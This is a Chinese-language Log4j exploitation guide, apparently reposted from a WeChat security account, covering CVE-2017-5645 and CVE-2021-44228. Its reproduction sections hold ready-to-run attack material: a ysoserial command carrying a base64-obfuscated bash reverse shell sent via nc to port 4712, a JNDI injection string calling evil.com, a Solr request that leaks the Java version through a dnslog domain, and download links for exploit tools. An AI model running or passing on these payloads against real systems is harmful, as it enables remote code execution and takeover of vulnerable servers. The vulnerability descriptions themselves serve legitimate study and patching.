网络测绘

app="Log4j2"

CVE-2017-5645

漏洞描述

Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。攻击者可以通过发送一个特别制作的2进制payload，在组件将字节反序列化为对象时，触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时，接收函数对于不可靠来源的input没有过滤。

影响版本

Apache Log4j <=2.8.2， 2.x版本

漏洞复现

测试环境，在4712端口启用TCPServer服务

用ysoserial生成payload，然后直接发送给4712端口

java -jar ysoserial-master.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjQuMS80NDY2IDA+JjE=}|{base64,-d}|{bash,-i}" | nc your-ip 4712

反弹回shell

https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

CVE-2021-44228

漏洞描述

Apache Log4j 2 是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。

影响版本

2.0-beta9 <= Apache log4j <= 2.14.1，2.15.0

漏洞复现

测试页面

POC

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vln7x5.dnslog.cn}

返回java版本信息

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

原文始发于微信公众号（CatalyzeSec）：log4j漏洞攻略